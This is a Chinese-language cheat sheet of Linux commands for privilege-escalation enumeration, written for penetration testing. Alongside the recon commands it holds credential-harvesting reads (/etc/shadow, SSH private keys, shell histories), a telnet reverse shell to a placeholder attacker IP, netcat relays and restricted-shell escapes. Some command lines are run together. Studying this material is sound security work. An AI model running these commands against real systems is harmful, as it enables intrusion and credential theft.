Linux 提权信息收集枚举

Linux 提权信息收集枚举

操作系统

什么系统?什么版本?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based

什么内核?是64位吗?

cat /proc/version 
uname -a 
uname -mrs 
rpm -q kernel dmesg | grep Linux 
ls /boot | grep vmlinuz-

查看环境变量

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

有打印机吗?

lpstat -a

 

引用与服务

哪些服务正在运行?哪个服务具有哪个用户的权限?

ps aux 
ps -ef 
top 
cat /etc/services

根目录正在运行哪些服务?在这些易受攻击的服务中,值得仔细检查!

ps aux | grep root 
ps -ef | grep root

安装了哪些应用程序?它们是什么版本?正在运行吗?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

任何服务设置配置错误?是否有(脆弱的)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

开启了哪些计划任务?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有纯文本用户名/密码?

grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

通讯与网络

系统具有哪些NIC(网卡)?它链接到另一个网络了吗?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

什么是网络配置设置?可以找到哪些关于该网络的哪些信息?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他哪些用户何主机正在与系统通信

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

缓存了什么?ip和MAC地址

arp -e
route
/sbin/route -nee

数据包嗅探是否可能?可以看到什么?实时监听

tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

有shell?可以建立交互式shell吗?

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

使用内置工具的7个Linux Shell  http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

是否可以进行端口转发?

#注意：ssh-[L / R] [本地端口]：[远程IP]：[远程端口] [本地用户] @ [本地IP]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port 
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

#注意 : mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]> backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

可以挖隧道吗?在本地远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户

你是谁?谁登录?还有谁?

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd   # List of super userscat /etc/sudoers
sudo -l

可以找到哪些敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home目录有什么'有趣'的地方吗?

ls -ahlR /root/ 
ls -ahlR /home/

里面有密码吗?脚本,数据库,配置文件,日志文件?密码的默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户正在做什么?纯文本有密码吗?他们在编辑什么?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用户信息?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私钥信息吗?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

可以在/etc/中写入哪些配置文件?能够重新配置服务?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other
find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/var/中可以找到什么?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上是否有任何隐藏文件?有数据库信息的任何配置文件吗?

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

位于/ var / log目录下的20个Linux日志文件 http://www.thegeekstuff.com/2011/08/linux-var-log-files/

命令收到限制,跳出受限的shell

python -c 'import pty;pty.spawn("/bin/bash")' 
echo os.system('/bin/bash') 
/bin/sh -i

 

如何安装文件系统?

mount
df -h

是否有任何卸载的文件系统

cat /etc/fstab

使用了哪些高级Linux文件权限?粘性位,SUDI和GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. 
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. 
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. 

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID 
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) 

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

在哪里可以写和执行?一些常见位置:/tmp, /var/tmp, /dve/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

 

准备和查找漏洞利用代码

安装/支持哪些开发工具/语言?

find / -name perl* 
find / -name python* 
find / -name gcc* 
find / -name cc

如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Linux：

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/（有点旧，但仍然值得一看）

https://github.com/rebootuser/LinEnum（最受欢迎的priv esc脚本之一）

https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh（另一个流行的脚本）

https://github.com/mzet-/linux-exploit-suggester（专门用于搜索内核漏洞利用的脚本）

 

https://gtfobins.github.io  （我不能高估此代码对priv esc的用处，如果通用二进制文件具有特殊权限，则可以使用此站点来查看如何使用它获得根权限。）

查找漏洞利用代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找有关漏洞利用的更多信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]